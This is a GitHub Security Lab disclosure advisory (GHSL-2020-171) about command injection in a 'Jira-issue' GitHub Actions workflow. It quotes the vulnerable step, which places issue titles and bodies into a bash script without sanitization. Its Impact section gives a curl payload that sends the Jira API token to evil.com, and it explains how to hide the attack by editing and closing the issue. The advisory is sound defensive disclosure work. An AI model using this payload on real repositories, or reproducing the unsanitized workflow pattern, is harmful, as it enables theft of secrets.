Coordinated Disclosure Timeline
- 10/14/2020: Report sent to vendor
- 10/15/2020: Vendor acknowledges report receipt
- 10/16/2020: Issue fixed
Summary
The ‘Jira-issue’ GitHub workflow is vulnerable to arbitrary command injection.
Product
Tested Version
Jira-issue.yaml from the Master branch.
Details
Issue: The title and body of a public GitHub issue are used to format a shell command
When a user creates a public issue it automatically starts the Jira-issue.yaml GitHub workflow. The title and body of the issue are used without sanitization to format a bash script that invokes Jira.
- name: Create issue
run: |
jira create \
--noedit \
-p ${{ secrets.JIRA_PROJECT_CODE }} \
-i Task \
-o summary="${{ github.event.issue.title }}" \
-o description="${{ github.event.issue.body }}
${{ github.event.issue.html_url }}" \
>> output
Impact
This vulnerability allows for arbitrary command injection into the bash script. For example a user may create an issue with the title It doesn't work on my machine and body `curl http://evil.com?$JIRA_API_TOKEN` which will exfiltrate the secret Jira API token to the attacker controlled server. To make the attack less visible an attacker may modify the body of the issue to Never mind my bad. and close it.
Credit
This issue was discovered and reported by GHSL team member @JarLob (Jaroslav Lobačevski).
Contact
You can contact the GHSL team at securitylab@github.com, please include a reference to GHSL-2020-171 in any communication regarding this issue.